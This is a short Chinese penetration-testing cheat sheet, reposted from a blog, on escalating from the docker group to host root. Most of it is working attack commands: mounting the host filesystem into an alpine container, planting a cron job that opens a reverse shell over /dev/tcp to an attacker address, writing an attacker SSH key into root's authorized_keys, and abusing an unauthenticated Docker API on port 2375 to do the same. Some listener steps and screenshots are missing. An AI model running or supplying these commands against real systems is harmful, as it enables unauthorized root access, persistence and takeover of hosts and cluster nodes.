【实战】Docker漏洞的记录

1.1.   Docker判断

cat /proc/1/cgroup

 

ls -alh /.dockerenv

1.2.  Docker反弹shell

条件:

获取到宿主机普通用户权限

当前用户已加入docker用户组

a)  写入计划任务获取root权限

进入容器:

docker run -it -v /:/mnt alpine

echo '* * * * * /bin/bash -i > /dev/tcp/xx.xx.xx.xx/8088 0>&1 2>&1' >> /mnt/var/spool/cron/root

注:此语句适用于centos系统

系统任务调度文件:/etc/crontab

用户 XXX 调度文件:

ubuntu下路径

/var/spool/cron/crontabs/xxx

Alpine下路径

/etc/cron.d/xxx

debian下的路径(xxx可以是任意东西)

/etc/cron.d/xxx

或者

/var/spool/cron/crontabs/xxx

但是写这个路径的时候,文件内不能加用户名

攻击机监听:

a)  写入ssh密钥获取root权限

攻击机

ssh-keygen -b 4096 -t rsa

三次回车即可生成

Docker容器里:

挂载宿主机根目录进入容器

docker run -it -v /:/mnt alpine

echo '生成的.pub文件的内容' >/mnt/root/.ssh/authorized_keys

攻击机连接:

ssh -i /home/pentest/.ssh/id_rsa root@xx.xx.xx.xx

1.3.   Docker配置不当

Docker api未授权访问

docker -H tcp://10.1.1.71:2375 images

 

挂载目录写入计划任务获取root权限,如下图:

远程挂载命令:docker -H tcp://10.1.1.71:2375 run -it -v /:/mnt alpine

 攻击机监听:

 熟悉的node,成功获取k8s集群的一台节点服务器权限。

原文地址:https://www.cnblogs.com/peterpan0707007/p/15246853.html